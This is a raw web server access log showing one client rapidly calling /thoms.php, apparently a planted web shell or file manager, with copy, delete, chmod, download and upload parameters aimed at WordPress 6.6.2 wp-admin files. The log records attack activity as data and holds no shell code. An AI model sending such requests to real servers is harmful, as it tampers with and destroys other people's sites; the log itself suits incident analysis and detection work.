45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?del=user&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=user&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22288 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/link-manager.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=user&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fasync-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fasync-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/plugin-editor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fasync-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?chmod=options-writing.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Frevision.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Frevision.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&upload= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Frevision.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-post.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22307 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?chmod=custom-background.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-form-advanced.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-form-advanced.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmenu.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmenu.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-form-advanced.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmenu.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/js/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?del=privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/edit-link-form.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?dl=profile.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22219 "https://163.245.207.76:443/thoms.php?dl=profile.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Finstall-helper.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Finstall-helper.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fprivacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fprivacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Finstall-helper.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=install.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fprivacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?dl=ms-upgrade-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22345 "https://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fplugins.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fplugins.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?chmod=admin-ajax.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fplugins.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-functions.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?del=async-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=async-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22258 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22084 "https://163.245.207.76:443/thoms.php?del=async-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?dl=plugin-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Findex.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/options-general.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?del=site-health.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=site-health.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fnetwork HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=site-health.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22276 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?chmod=erase-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?chmod=options-permalink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22291 "https://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?del=export.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=export.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?chmod=load-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=export.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?chmod=ms-options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?chmod=my-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?chmod=network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?dl=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupgrade.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupgrade.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
